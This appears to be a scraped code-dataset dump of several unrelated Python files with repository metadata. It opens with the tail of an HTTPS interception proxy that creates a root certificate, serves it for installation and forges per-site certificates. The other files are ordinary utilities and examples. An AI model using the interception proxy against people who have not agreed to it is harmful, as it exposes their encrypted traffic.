": " + v + "\r\n" return header_str def get_header(self, key): if isinstance(key, str): return self._headers.get(key.lower(), None) raise Exception("parameter should be str") @property def headers(self): """ 获取头部信息 :return: """ return self._headers def set_header(self, key, value): """ 设置头部 :param key: :param value: :return: """ if isinstance(key, str) and isinstance(value, str): self._headers[key.lower()] = value return raise Exception("parameter should be str") def get_body_data(self): """ 返回是字节格式的body内容 :return: """ return self._body def set_body_data(self, body): if isinstance(body, bytes): self._body = body self.set_header("Content-length", str(len(body))) return raise Exception("parameter should be bytes") class Request(HttpTransfer): def __init__(self, req): HttpTransfer.__init__(self) self.hostname = req.hostname self.port = req.port # 这是请求 self.command = req.command self.path = req.path self.request_version = req.request_version self.url = req.hostname + req.path self.set_headers(req.headers) if self.get_header("Content-Length"): self.set_body_data(req.rfile.read(int(self.get_header("Content-Length")))) def to_data(self): # Build request req_data = "%s %s %s\r\n" % (self.command, self.path, self.request_version) # Add headers to the request req_data += "%s\r\n" % self.build_headers() req_data = req_data.encode("utf-8") req_data += self.get_body_data() return req_data class Response(HttpTransfer): def __init__(self, request, proxy_socket): HttpTransfer.__init__(self) self.request = request h = HTTPResponse(proxy_socket) h.begin() ##HTTPResponse会将所有chunk拼接到一起，因此会直接得到所有内容，所以不能有Transfer-Encoding del h.msg["Transfer-Encoding"] del h.msg["Content-Length"] self.response_version = self.version_dict[h.version] self.status = h.status self.reason = h.reason self.set_headers(h.msg) body_data = self._decode_content_body( h.read(), self.get_header("Content-Encoding") ) self.set_body_data(body_data) self._text() # 尝试将文本进行解码 h.close() proxy_socket.close() def _text(self): body_data = self.get_body_data() if self.get_header("Content-Type") and ( "text" or "javascript" ) in self.get_header("Content-Type"): self.decoding = chardet.detect(body_data)["encoding"] # 探测当前的编码 if self.decoding: try: self._body_str = body_data.decode(self.decoding) # 请求体 except Exception as e: self._body_str = body_data self.decoding = None else: self._body_str = body_data else: self._body_str = body_data self.decoding = None def get_text(self, decoding=None): if decoding: return self.get_body_data().decode(decoding) return self.get_body_data().decode() def set_body_str(self, body_str, encoding=None): if isinstance(body_str, str): if encoding: self.set_body_data(body_str.encode(encoding)) else: self.set_body_data( body_str.encode(self.decoding if self.decoding else "utf-8") ) self._body_str = body_str return raise Exception("parameter should be str") def _encode_content_body(self, text, encoding): if encoding == "identity": data = text elif encoding in ("gzip", "x-gzip"): gzip_compress = zlib.compressobj(9, zlib.DEFLATED, zlib.MAX_WBITS | 16) data = gzip_compress.compress(text) + gzip_compress.flush() elif encoding == "deflate": data = zlib.compress(text) else: data = text return data def _decode_content_body(self, data, encoding): if encoding == "identity": # 没有压缩 text = data elif encoding in ("gzip", "x-gzip"): # gzip压缩 text = zlib.decompress(data, 16 + zlib.MAX_WBITS) elif encoding == "deflate": # zip压缩 try: text = zlib.decompress(data) except zlib.error: text = zlib.decompress(data, -zlib.MAX_WBITS) else: text = data self.set_header("Content-Encoding", "identity") # 没有压缩 return text def to_data(self): res_data = "%s %s %s\r\n" % (self.response_version, self.status, self.reason) res_data += "%s\r\n" % self.build_headers() res_data = res_data.encode(self.decoding if self.decoding else "utf-8") res_data += self.get_body_data() return res_data class CAAuth(object): """ 用于CA证书的生成以及代理证书的自签名 """ def __init__(self, ca_file="ca.pem", cert_file="ca.crt"): self.ca_file_path = ca_file self.cert_file_path = cert_file self._gen_ca() # 生成CA证书，需要添加到浏览器的合法证书机构中 def _gen_ca(self, again=False): # Generate key # 如果证书存在而且不是强制生成，直接返回证书信息 if ( os.path.exists(self.ca_file_path) and os.path.exists(self.cert_file_path) and not again ): self._read_ca(self.ca_file_path) # 读取证书信息 return self.key = PKey() self.key.generate_key(TYPE_RSA, 2048) # Generate certificate self.cert = X509() self.cert.set_version(2) self.cert.set_serial_number(1) self.cert.get_subject().CN = "baseproxy" self.cert.gmtime_adj_notBefore(0) self.cert.gmtime_adj_notAfter(315360000) # 十年 self.cert.set_issuer(self.cert.get_subject()) self.cert.set_pubkey(self.key) self.cert.add_extensions( [ X509Extension(b"basicConstraints", True, b"CA:TRUE, pathlen:0"), X509Extension(b"keyUsage", True, b"keyCertSign, cRLSign"), X509Extension( b"subjectKeyIdentifier", False, b"hash", subject=self.cert ), ] ) self.cert.sign(self.key, "sha256") with open(self.ca_file_path, "wb+") as f: f.write(dump_privatekey(FILETYPE_PEM, self.key)) f.write(dump_certificate(FILETYPE_PEM, self.cert)) with open(self.cert_file_path, "wb+") as f: f.write(dump_certificate(FILETYPE_PEM, self.cert)) def _read_ca(self, file): self.cert = load_certificate(FILETYPE_PEM, open(file, "rb").read()) self.key = load_privatekey(FILETYPE_PEM, open(file, "rb").read()) def __getitem__(self, cn): # 将为每个域名生成的服务器证书，放到临时目录中 cache_dir = gettempdir() root_dir = os.path.join(cache_dir, "baseproxy") if not os.path.exists(root_dir): os.makedirs(root_dir) cnp = os.path.join(root_dir, "baseproxy_{}.pem".format(cn)) if not os.path.exists(cnp): self._sign_ca(cn, cnp) return cnp def _sign_ca(self, cn, cnp): # 使用合法的CA证书为代理程序生成服务器证书 # create certificate try: key = PKey() key.generate_key(TYPE_RSA, 2048) # Generate CSR req = X509Req() req.get_subject().CN = cn req.set_pubkey(key) req.sign(key, "sha256") # Sign CSR cert = X509() cert.set_version(2) cert.set_subject(req.get_subject()) cert.set_serial_number(self.serial) cert.gmtime_adj_notBefore(0) cert.gmtime_adj_notAfter(31536000) # 一年 cert.set_issuer(self.cert.get_subject()) ss = ("DNS:%s" % cn).encode(encoding="utf-8") cert.add_extensions([X509Extension(b"subjectAltName", False, ss)]) cert.set_pubkey(req.get_pubkey()) cert.sign(self.key, "sha256") with open(cnp, "wb+") as f: f.write(dump_privatekey(FILETYPE_PEM, key)) f.write(dump_certificate(FILETYPE_PEM, cert)) except Exception as e: raise Exception("generate CA fail:{}".format(str(e))) @property def serial(self): return int("%d" % (time.time() * 1000)) class ProxyHandle(BaseHTTPRequestHandler): def __init__(self, request, client_addr, server): self.is_connected = False self.hook_init() BaseHTTPRequestHandler.__init__(self, request, client_addr, server) def hook_init(self): # 增加初始化的其他操作，如初始化filter_url_lst self.filter_url_lst = [] def do_CONNECT(self): """ 处理https连接请求 :return: """ self.is_connected = True # 用来标识是否之前经历过CONNECT if self.server.https: self.connect_intercept() else: self.connect_relay() def do_GET(self): """ 处理GET请求 :return: """ if self.path == "http://baseproxy.ca/": self._send_ca() return if not self.is_connected: # 如果不是https，需要连接http服务器 try: self._proxy_to_dst() except Exception as e: self.send_error(500, "{} connect fail ".format(self.hostname)) return # 这里就是代理发送请求，并接收响应信息 request = Request(self) # 增加过滤模块 flag = False for filter_x in self.filter_url_lst: if filter_x in request.url: flag = True break if flag: request = self.mitm_request(request) if request: self._proxy_sock.sendall(request.to_data()) # 将响应信息返回给客户端 response = Response(request, self._proxy_sock) if flag: response = self.mitm_response(response) if response: self.request.sendall(response.to_data()) else: self.send_error(404, "response is None") else: self.send_error(404, "request is None") do_HEAD = do_GET do_POST = do_GET do_PUT = do_GET do_DELETE = do_GET do_OPTIONS = do_GET def _proxy_to_ssldst(self): """ 代理连接https目标服务器 :return: """ ##确定一下目标的服务器的地址与端口 # 如果之前经历过connect # CONNECT www.baidu.com:443 HTTP 1.1 self.hostname, self.port = self.path.split(":") self._proxy_sock = socket() self._proxy_sock.settimeout(10) self._proxy_sock.connect((self.hostname, int(self.port))) # 进行SSL包裹 self._proxy_sock = wrap_socket(self._proxy_sock) def _proxy_to_dst(self): # 代理连接http目标服务器 # http请求的self.path 类似http://www.baidu.com:80/index.html u = urlparse(self.path) if u.scheme != "http": raise Exception("Unknown scheme %s" % repr(u.scheme)) self.hostname = u.hostname self.port = u.port or 80 # 将path重新封装，比如http://www.baidu.com:80/index.html会变成 /index.html self.path = urlunparse( ParseResult( scheme="", netloc="", params=u.params, path=u.path or "/", query=u.query, fragment=u.fragment, ) ) self._proxy_sock = socket() self._proxy_sock.settimeout(10) self._proxy_sock.connect((self.hostname, int(self.port))) def connect_intercept(self): """ 需要解析https报文,包装socket :return: """ try: # 首先建立和目标服务器的链接 self._proxy_to_ssldst() # 建立成功后,proxy需要给client回复建立成功 self.send_response(200, "Connection established") self.end_headers() # 这个时候需要将客户端的socket包装成sslsocket,这个时候的self.path类似www.baidu.com:443，根据域名使用相应的证书 self.request = wrap_socket( self.request, server_side=True, certfile=self.server.ca[self.path.split(":")[0]], ) except SSLError: self.send_error(500, "更新证书!") return except Exception as e: self.send_error(500, str(e)) return self.setup() self.ssl_host = "https://%s" % self.path try: self.handle_one_request() except Exception as e: return def connect_relay(self): """ 对于https报文直接转发 """ self.hostname, self.port = self.path.split(":") try: self._proxy_sock = socket() self._proxy_sock.settimeout(10) self._proxy_sock.connect((self.hostname, int(self.port))) except Exception as e: self.send_error(500) return self.send_response(200, "Connection Established") self.end_headers() inputs = [self.request, self._proxy_sock] while True: readable, writeable, errs = select.select(inputs, [], inputs, 10) if errs: break for r in readable: data = r.recv(8092) if data: if r is self.request: self._proxy_sock.sendall(data) elif r is self._proxy_sock: self.request.sendall(data) else: break self.request.close() self._proxy_sock.close() def _send_ca(self): # 发送CA证书给用户进行安装并信任 cert_path = self.server.ca.cert_file_path with open(cert_path, "rb") as f: data = f.read() self.send_response(200) self.send_header("Content-Type", "application/x-x509-ca-cert") self.send_header("Content-Length", len(data)) self.send_header("Connection", "close") self.end_headers() self.wfile.write(data) def mitm_request(self, req): for p in self.server.req_plugs: req = p(self.server).deal_request(req) return req def mitm_response(self, rsp): for p in self.server.rsp_plugs: rsp = p(self.server).deal_response(rsp) return rsp class MitmProxy(ThreadingMixIn, HTTPServer): def __init__( self, server_addr=("", 8080), RequestHandlerClass=ProxyHandle, bind_and_activate=True, https=True, ca_file="ca.pem", cert_file="ca.crt", ): HTTPServer.__init__(self, server_addr, RequestHandlerClass, bind_and_activate) logging.info( "HTTPServer is running at address( %s , %d )......" % (server_addr[0], server_addr[1]) ) self.req_plugs = [] ##请求拦截插件列表 self.rsp_plugs = [] ##响应拦截插件列表 self.ca = CAAuth(ca_file=ca_file, cert_file=cert_file) self.https = https def register(self, intercept_plug): if not issubclass(intercept_plug, InterceptPlug): raise Exception( "Expected type InterceptPlug got %s instead" % type(intercept_plug) ) if issubclass(intercept_plug, ReqIntercept): self.req_plugs.append(intercept_plug) if issubclass(intercept_plug, RspIntercept): self.rsp_plugs.append(intercept_plug) class AsyncMitmProxy(MitmProxy): pass class InterceptPlug(object): def __init__(self, server): self.server = server class ReqIntercept(InterceptPlug): def deal_request(self, request): pass class RspIntercept(InterceptPlug): def deal_response(self, response): pass

11,273

6,084

740

4743e2afb0612962f02991b2d1548016f9ee41de

3,134

py

Python

gen_create.py

pdebuyl/f90h5md

538bda2eebd5474489d963e16175aecdb750ab4d

[ "BSD-3-Clause" ]

1

2019-10-17T15:57:45.000Z

gen_create.py

pdebuyl/f90h5md

538bda2eebd5474489d963e16175aecdb750ab4d

[ "BSD-3-Clause" ]

null

gen_create.py

pdebuyl/f90h5md

538bda2eebd5474489d963e16175aecdb750ab4d

[ "BSD-3-Clause" ]

null

#!/usr/bin/env python # Copyright 2011-2013 Pierre de Buyl # # This file is part of f90h5md # # f90h5md is free software and is licensed under the modified BSD license (see # LICENSE file). types = dict() types['i'] = 'integer' types['d'] = 'double precision' H5T = dict() H5T['i'] = 'H5T_NATIVE_INTEGER' H5T['d'] = 'H5T_NATIVE_DOUBLE' dims = dict() dims['s'] = '' dims['1'] = '(:)' dims['2'] = '(:,:)' dims['3'] = '(:,:,:)' dims['4'] = '(:,:,:,:)' for t_k,t_v in types.iteritems(): for d_k,d_v in dims.iteritems(): if (d_k == 's'): rank = 1 else: rank = int(d_k)+1 s='' s+=""" !> Sets up a h5md_t variable. !! @param file_id ID of the file. !! @param name Name of the observable !! @param ID Resulting h5md_t variable !! @param data The data that will fit into the observable. !! @param link_from Indicates if the step and time for this observable should be linked from another one. !! @param override_obs Indicates if the data should be stored outside of /observables. !! @private""" s+=""" subroutine h5md_create_obs_%s%s(file_id, name, ID, data, link_from, override_obs) integer(HID_T), intent(inout) :: file_id character(len=*), intent(in) :: name type(h5md_t), intent(out) :: ID %s, intent(in) :: data%s character(len=*), intent(in), optional :: link_from character(len=*), intent(in), optional :: override_obs integer(HID_T) :: file_s, plist, g_id integer(HSIZE_T), allocatable :: dims(:), max_dims(:), chunk_dims(:) integer :: rank character(len=64) :: g_name if (present(override_obs)) then g_name = override_obs else g_name = 'observables' end if call h5gcreate_f(file_id, trim(g_name)//'/'//name, g_id, h5_error) rank = %i allocate(dims(rank)) ; allocate(max_dims(rank)) ; allocate(chunk_dims(rank)) """ % (t_k,d_k, t_v, d_v, rank ) if (d_k!='s'): s+=""" dims(1:%i) = shape(data) max_dims(1:%i) = shape(data) chunk_dims(1:%i) = shape(data) """ % (rank-1, rank-1, rank-1) s+=""" dims(%i) = 0 max_dims(%i) = H5S_UNLIMITED_F call h5screate_simple_f(rank, dims, file_s, h5_error, max_dims) chunk_dims(%i) = 128 call h5pcreate_f(H5P_DATASET_CREATE_F, plist, h5_error) call h5pset_chunk_f(plist, rank, chunk_dims, h5_error) call h5dcreate_f(g_id, 'value', %s, file_s, ID%% d_id, h5_error, plist) call h5pclose_f(plist, h5_error) call h5sclose_f(file_s, h5_error) deallocate(dims) ; deallocate(max_dims) ; deallocate(chunk_dims) if (present(link_from)) then call h5lcreate_hard_f(file_id, trim(g_name)//'/'//link_from//'/step', g_id, 'step', h5_error) call h5lcreate_hard_f(file_id, trim(g_name)//'/'//link_from//'/time', g_id, 'time', h5_error) else call h5md_create_step_time(g_id) end if call h5dopen_f(g_id, 'step', ID%% s_id, h5_error) call h5dopen_f(g_id, 'time', ID%% t_id, h5_error) call h5gclose_f(g_id, h5_error) end subroutine h5md_create_obs_%s%s """ % (rank,rank,rank, H5T[t_k],t_k,d_k) print s

30.72549

107

0.624442

#!/usr/bin/env python # Copyright 2011-2013 Pierre de Buyl # # This file is part of f90h5md # # f90h5md is free software and is licensed under the modified BSD license (see # LICENSE file). types = dict() types['i'] = 'integer' types['d'] = 'double precision' H5T = dict() H5T['i'] = 'H5T_NATIVE_INTEGER' H5T['d'] = 'H5T_NATIVE_DOUBLE' dims = dict() dims['s'] = '' dims['1'] = '(:)' dims['2'] = '(:,:)' dims['3'] = '(:,:,:)' dims['4'] = '(:,:,:,:)' for t_k,t_v in types.iteritems(): for d_k,d_v in dims.iteritems(): if (d_k == 's'): rank = 1 else: rank = int(d_k)+1 s='' s+=""" !> Sets up a h5md_t variable. !! @param file_id ID of the file. !! @param name Name of the observable !! @param ID Resulting h5md_t variable !! @param data The data that will fit into the observable. !! @param link_from Indicates if the step and time for this observable should be linked from another one. !! @param override_obs Indicates if the data should be stored outside of /observables. !! @private""" s+=""" subroutine h5md_create_obs_%s%s(file_id, name, ID, data, link_from, override_obs) integer(HID_T), intent(inout) :: file_id character(len=*), intent(in) :: name type(h5md_t), intent(out) :: ID %s, intent(in) :: data%s character(len=*), intent(in), optional :: link_from character(len=*), intent(in), optional :: override_obs integer(HID_T) :: file_s, plist, g_id integer(HSIZE_T), allocatable :: dims(:), max_dims(:), chunk_dims(:) integer :: rank character(len=64) :: g_name if (present(override_obs)) then g_name = override_obs else g_name = 'observables' end if call h5gcreate_f(file_id, trim(g_name)//'/'//name, g_id, h5_error) rank = %i allocate(dims(rank)) ; allocate(max_dims(rank)) ; allocate(chunk_dims(rank)) """ % (t_k,d_k, t_v, d_v, rank ) if (d_k!='s'): s+=""" dims(1:%i) = shape(data) max_dims(1:%i) = shape(data) chunk_dims(1:%i) = shape(data) """ % (rank-1, rank-1, rank-1) s+=""" dims(%i) = 0 max_dims(%i) = H5S_UNLIMITED_F call h5screate_simple_f(rank, dims, file_s, h5_error, max_dims) chunk_dims(%i) = 128 call h5pcreate_f(H5P_DATASET_CREATE_F, plist, h5_error) call h5pset_chunk_f(plist, rank, chunk_dims, h5_error) call h5dcreate_f(g_id, 'value', %s, file_s, ID%% d_id, h5_error, plist) call h5pclose_f(plist, h5_error) call h5sclose_f(file_s, h5_error) deallocate(dims) ; deallocate(max_dims) ; deallocate(chunk_dims) if (present(link_from)) then call h5lcreate_hard_f(file_id, trim(g_name)//'/'//link_from//'/step', g_id, 'step', h5_error) call h5lcreate_hard_f(file_id, trim(g_name)//'/'//link_from//'/time', g_id, 'time', h5_error) else call h5md_create_step_time(g_id) end if call h5dopen_f(g_id, 'step', ID%% s_id, h5_error) call h5dopen_f(g_id, 'time', ID%% t_id, h5_error) call h5gclose_f(g_id, h5_error) end subroutine h5md_create_obs_%s%s """ % (rank,rank,rank, H5T[t_k],t_k,d_k) print s

0

9c74df1de285f8990eac45aebad0a4ff62e8d973

4,531

py

Python

scripts/dv_del.py

ubc-library-rc/dataverse_utils

3fbf3e90bba64b84fa141145a27a9ff787507eb7

[ "MIT" ]

null

scripts/dv_del.py

ubc-library-rc/dataverse_utils

3fbf3e90bba64b84fa141145a27a9ff787507eb7

[ "MIT" ]

7

2021-07-30T23:26:48.000Z

2021-10-05T21:34:36.000Z

scripts/dv_del.py

ubc-library-rc/dataverse_utils

3fbf3e90bba64b84fa141145a27a9ff787507eb7

[ "MIT" ]

null

#!python '''Dataverse Bulk Deleter Deletes unpublished studies at the command line ''' import argparse #import json import sys import requests VERSION = (0, 2, 1) __version__ = '.'.join([str(x) for x in VERSION]) def delstudy(dvurl, key, pid): ''' Deletes Dataverse study dvurl : str Dataverse installation base URL key : str Dataverse user API key pid : str Dataverse collection study persistent identifier ''' try: deler = requests.delete(f'{dvurl}/api/datasets/:persistentId/versions/:draft', headers={'X-Dataverse-key':key}, params={'persistentId':pid}, timeout=30) if deler.status_code == 200: return f'Deleted {pid}' deler.raise_for_status() return None except requests.exceptions.HTTPError: return f'Failed to delete {pid}. \n Message: {deler.text}' def conf(tex): ''' Confirmation dialogue checker. Returns true if "Y" or "y" ''' yes = input(f'Delete {tex}? ') if yes.lower() == 'y': return True return False def getsize(dvurl, pid, key): ''' Returns size of Dataverse study. Mostly here for debugging. dvurl : str Dataverse installation base URL pid : str Dataverse collection study persistent identifier key : str Dataverse user API key ''' try: sizer = requests.get(f'{dvurl}/api/datasets/:persistentId/storagesize', headers={'X-Dataverse-key':key}, params={'persistentId':pid}, timeout=10) text = sizer.json()['data']['message'] text = text[text.rfind(':')+2 : -6] text = text.split(',') size = int(''.join(text)) sleeptime = text//1024//1024/10 # sleep for 1/10th sec per megabyte return (size, sleeptime) except requests.exceptions.HTTPError: return (0, 0) def main(): ''' Command line bulk deleter ''' parser = argparse.ArgumentParser(description='Delete draft studies from a Dataverse collection') parser.add_argument('-k', '--key', help='Dataverse user API key', required=True, dest='key') group = parser.add_mutually_exclusive_group() group.add_argument('-d', '--dataverse', help=('Dataverse collection short name from which ' 'to delete all draft records. eg. "ldc"'), dest='dataverse') group.add_argument('-p', '--persistentId', help='Handle or DOI to delete in format hdl:11272.1/FK2/12345', dest='pid') parser.add_argument('-i', '--interactive', help="Confirm each study deletion", action='store_true', dest='conf') parser.add_argument('-u', '--url', help='URL to base Dataverse installation', default='https://soroban.library.ubc.ca', dest='dvurl') parser.add_argument('--version', action='version', version='%(prog)s '+__version__, help='Show version number and exit') args = parser.parse_args() args.dvurl = args.dvurl.strip('/') if args.dataverse: info = requests.get(f'{args.dvurl}/api/dataverses/{args.dataverse}/contents', headers={'X-Dataverse-key': args.key}, timeout=10).json() pids = [f'{x["protocol"]}:{x["authority"]}/{x["identifier"]}' for x in info['data']] if not pids: print(f'Dataverse collection {args.dataverse} empty') for pid in pids: try: if args.conf: if conf(pid): print(delstudy(args.dvurl, args.key, pid)) continue print(f'Skipping {pid}') continue print(delstudy(args.dvurl, args.key, pid)) #time.sleep(getsize(pid, args.key)[1])#Will this stop the server crash? except KeyboardInterrupt: print('Aborted by user') sys.exit() if args.pid: if args.conf: if conf(args.pid): print(delstudy(args.dvurl, args.key, args.pid)) else: print(f'Aborting delete of {args.pid}') else: print(delstudy(args.dvurl, args.key, args.pid)) if __name__ == '__main__': main()

35.398438

100

0.546237

#!python '''Dataverse Bulk Deleter Deletes unpublished studies at the command line ''' import argparse #import json import sys import requests VERSION = (0, 2, 1) __version__ = '.'.join([str(x) for x in VERSION]) def delstudy(dvurl, key, pid): ''' Deletes Dataverse study dvurl : str Dataverse installation base URL key : str Dataverse user API key pid : str Dataverse collection study persistent identifier ''' try: deler = requests.delete(f'{dvurl}/api/datasets/:persistentId/versions/:draft', headers={'X-Dataverse-key':key}, params={'persistentId':pid}, timeout=30) if deler.status_code == 200: return f'Deleted {pid}' deler.raise_for_status() return None except requests.exceptions.HTTPError: return f'Failed to delete {pid}. \n Message: {deler.text}' def conf(tex): ''' Confirmation dialogue checker. Returns true if "Y" or "y" ''' yes = input(f'Delete {tex}? ') if yes.lower() == 'y': return True return False def getsize(dvurl, pid, key): ''' Returns size of Dataverse study. Mostly here for debugging. dvurl : str Dataverse installation base URL pid : str Dataverse collection study persistent identifier key : str Dataverse user API key ''' try: sizer = requests.get(f'{dvurl}/api/datasets/:persistentId/storagesize', headers={'X-Dataverse-key':key}, params={'persistentId':pid}, timeout=10) text = sizer.json()['data']['message'] text = text[text.rfind(':')+2 : -6] text = text.split(',') size = int(''.join(text)) sleeptime = text//1024//1024/10 # sleep for 1/10th sec per megabyte return (size, sleeptime) except requests.exceptions.HTTPError: return (0, 0) def main(): ''' Command line bulk deleter ''' parser = argparse.ArgumentParser(description='Delete draft studies from a Dataverse collection') parser.add_argument('-k', '--key', help='Dataverse user API key', required=True, dest='key') group = parser.add_mutually_exclusive_group() group.add_argument('-d', '--dataverse', help=('Dataverse collection short name from which ' 'to delete all draft records. eg. "ldc"'), dest='dataverse') group.add_argument('-p', '--persistentId', help='Handle or DOI to delete in format hdl:11272.1/FK2/12345', dest='pid') parser.add_argument('-i', '--interactive', help="Confirm each study deletion", action='store_true', dest='conf') parser.add_argument('-u', '--url', help='URL to base Dataverse installation', default='https://soroban.library.ubc.ca', dest='dvurl') parser.add_argument('--version', action='version', version='%(prog)s '+__version__, help='Show version number and exit') args = parser.parse_args() args.dvurl = args.dvurl.strip('/') if args.dataverse: info = requests.get(f'{args.dvurl}/api/dataverses/{args.dataverse}/contents', headers={'X-Dataverse-key': args.key}, timeout=10).json() pids = [f'{x["protocol"]}:{x["authority"]}/{x["identifier"]}' for x in info['data']] if not pids: print(f'Dataverse collection {args.dataverse} empty') for pid in pids: try: if args.conf: if conf(pid): print(delstudy(args.dvurl, args.key, pid)) continue print(f'Skipping {pid}') continue print(delstudy(args.dvurl, args.key, pid)) #time.sleep(getsize(pid, args.key)[1])#Will this stop the server crash? except KeyboardInterrupt: print('Aborted by user') sys.exit() if args.pid: if args.conf: if conf(args.pid): print(delstudy(args.dvurl, args.key, args.pid)) else: print(f'Aborting delete of {args.pid}') else: print(delstudy(args.dvurl, args.key, args.pid)) if __name__ == '__main__': main()

0

17b91ebb149ff794e7ab9e3c0e500dbf74dd6ee0

2,039

py

Python

src/common.py

nagisc007/pythoncitest

5200f1e8ae2969ffb733fb2239e9bbb7e700e836

[ "MIT" ]

null

src/common.py

nagisc007/pythoncitest

5200f1e8ae2969ffb733fb2239e9bbb7e700e836

[ "MIT" ]

null

src/common.py

nagisc007/pythoncitest

5200f1e8ae2969ffb733fb2239e9bbb7e700e836

[ "MIT" ]

null

# -*- coding: utf-8 -*- from acttypes import ActType class Act(object): """ basic action class. """ class Title(Act): """ For title act """ class Chapter(Act): """ For chapter start act """ class Description(Act): """ Nothing subject description act. """ class Person(object): """ basic character class. """ def tell(self, what, desc="", with_subject=False): ''' For dialogue ''' return Act(self, ActType.TELL, "「{}」".format(what), desc, with_subject) class Stage(object): """ basic stage class. """ class Item(object): """ basic item class. """ class DayTime(object): """ basic day and time class. """

23.436782

83

0.583619

# -*- coding: utf-8 -*- from acttypes import ActType class Act(object): """ basic action class. """ def __init__(self, subject, act_type, action, description, with_subject=False): self.action = action self.act_type = act_type self.description = description self.subject = subject self.with_subject = with_subject class Title(Act): """ For title act """ def __init__(self, title, desc=""): super().__init__(self, ActType.SYMBOL, title, desc) class Chapter(Act): """ For chapter start act """ def __init__(self, chapter_title, desc=""): super().__init__(self, ActType.SYMBOL, chapter_title, desc) class Description(Act): """ Nothing subject description act. """ def __init__(self, act, desc=""): super().__init__(self, ActType.DESC, act, desc) class Person(object): """ basic character class. """ def __init__(self, name, age, sex, job): self.name = name self.age = age self.sex = sex self.job = job def tell(self, what, desc="", with_subject=False): ''' For dialogue ''' return Act(self, ActType.TELL, "「{}」".format(what), desc, with_subject) class Stage(object): """ basic stage class. """ def __init__(self, name, act): self.name = name self.act = act def description(self, desc=""): return Act(self, ActType.DESC, self.act, desc) class Item(object): """ basic item class. """ def __init__(self, name, act): self.name = name self.act = act def description(self, desc=""): return Act(self, ActType.DESC, self.act, desc) class DayTime(object): """ basic day and time class. """ def __init__(self, act, mon=0, day=0, year=0, hour=0): self.year = year self.mon = mon self.day = day self.hour = hour self.act = act def description(self, desc=""): return Act(self, ActType.DESC, self.act, desc)

1,037

0

289

3f6fab9af2fd1b2e838b7fc2b62a4615070a323a

644

py

Python

oauth2_provider/backends.py

grnspace/django-oauth-toolkit

3d876563a2528eadac0f832f360a0b269b99b94e

[ "BSD-2-Clause-FreeBSD" ]

2

2021-03-21T03:35:24.000Z

2021-04-20T05:49:19.000Z

oauth2_provider/backends.py

grnspace/django-oauth-toolkit

3d876563a2528eadac0f832f360a0b269b99b94e

[ "BSD-2-Clause-FreeBSD" ]

4

2018-06-20T11:33:43.000Z

2021-05-28T08:02:21.000Z

oauth2_provider/backends.py

grnspace/django-oauth-toolkit

3d876563a2528eadac0f832f360a0b269b99b94e

[ "BSD-2-Clause-FreeBSD" ]

4

2018-06-20T11:14:46.000Z

2021-05-21T15:56:02.000Z

from django.contrib.auth import get_user_model from .oauth2_backends import get_oauthlib_core UserModel = get_user_model() OAuthLibCore = get_oauthlib_core() class OAuth2Backend: """ Authenticate against an OAuth2 access token """

23.851852

70

0.650621

from django.contrib.auth import get_user_model from .oauth2_backends import get_oauthlib_core UserModel = get_user_model() OAuthLibCore = get_oauthlib_core() class OAuth2Backend: """ Authenticate against an OAuth2 access token """ def authenticate(self, request=None, **credentials): if request is not None: valid, r = OAuthLibCore.verify_request(request, scopes=[]) if valid: return r.user return None def get_user(self, user_id): try: return UserModel.objects.get(pk=user_id) except UserModel.DoesNotExist: return None

342

0

54

2249f1f9badf4ea52249baafff8509a9ed842631

875

py

Python

example/example_single_cell.py

Yuego/py3o.template

d89293d8154a880e5245df30515ace82effc77e1

[ "MIT" ]

null

example/example_single_cell.py

Yuego/py3o.template

d89293d8154a880e5245df30515ace82effc77e1

[ "MIT" ]

null

example/example_single_cell.py

Yuego/py3o.template

d89293d8154a880e5245df30515ace82effc77e1

[ "MIT" ]

null

from py3o.template import Template t = Template( "py3o_example_template_single_cell.odt", "py3o_example_output_single_cell.odt" ) t.set_image_path('staticimage.logo', 'images/new_logo.png') items = list() item1 = Item() item1.val1 = 'Item1 Value1' item1.val2 = 'Item1 Value2' item1.val3 = 'Item1 Value3' item1.Currency = 'EUR' item1.Amount = '12,345.35' item1.InvoiceRef = '#1234' items.append(item1) for i in xrange(1000): item = Item() item.val1 = 'Item%s Value1' % i item.val2 = 'Item%s Value2' % i item.val3 = 'Item%s Value3' % i item.Currency = 'EUR' item.Amount = '6,666.77' item.InvoiceRef = 'Reference #%04d' % i items.append(item) document = Item() document.total = '9,999,999,999,999.999' data = dict(items=items, document=document) t.render(data)

21.875

60

0.645714

from py3o.template import Template t = Template( "py3o_example_template_single_cell.odt", "py3o_example_output_single_cell.odt" ) t.set_image_path('staticimage.logo', 'images/new_logo.png') class Item(object): pass items = list() item1 = Item() item1.val1 = 'Item1 Value1' item1.val2 = 'Item1 Value2' item1.val3 = 'Item1 Value3' item1.Currency = 'EUR' item1.Amount = '12,345.35' item1.InvoiceRef = '#1234' items.append(item1) for i in xrange(1000): item = Item() item.val1 = 'Item%s Value1' % i item.val2 = 'Item%s Value2' % i item.val3 = 'Item%s Value3' % i item.Currency = 'EUR' item.Amount = '6,666.77' item.InvoiceRef = 'Reference #%04d' % i items.append(item) document = Item() document.total = '9,999,999,999,999.999' data = dict(items=items, document=document) t.render(data)

0

8

25

5e529e7707da7ca177bde6d4d7eadd1ee8b03b6b

468

py

Python

lesson 6/question 7.py

Kev-in123/ICS2O7

425c59975d4ce6aa0937fd8715b51d04487e4fa9

[ "MIT" ]

2

2021-08-10T18:16:08.000Z

2021-09-26T19:49:26.000Z

lesson 6/question 7.py

Kev-in123/ICS2O7

425c59975d4ce6aa0937fd8715b51d04487e4fa9

[ "MIT" ]

null

lesson 6/question 7.py

Kev-in123/ICS2O7

425c59975d4ce6aa0937fd8715b51d04487e4fa9

[ "MIT" ]

null

num1 = float(input("Number 1: ")) num2 = float(input("Wumber 2: ")) operation = input("Which operation (+,-,/,*): ") if operation == "+": print(f"The sum is {num1 + num2}") if operation == "-": print(f"The difference is {num1 - num2}") if operation == "/": if num2 != 0: print(f"The quotient is {num1 / num2}") else: print("Cannot divide any number by zero!") if operation == "*": print(f"The product is {num1 * num2}")

24.631579

49

0.557692

num1 = float(input("Number 1: ")) num2 = float(input("Wumber 2: ")) operation = input("Which operation (+,-,/,*): ") if operation == "+": print(f"The sum is {num1 + num2}") if operation == "-": print(f"The difference is {num1 - num2}") if operation == "/": if num2 != 0: print(f"The quotient is {num1 / num2}") else: print("Cannot divide any number by zero!") if operation == "*": print(f"The product is {num1 * num2}")

0

5e3b4e520e44677ef5084651d4a02fae10e6565f

3,574

py

Python

hata/discord/integration/integration_detail.py

Multiface24111/hata

cd28f9ef158e347363669cc8d1d49db0ff41aba0

[ "0BSD" ]

173

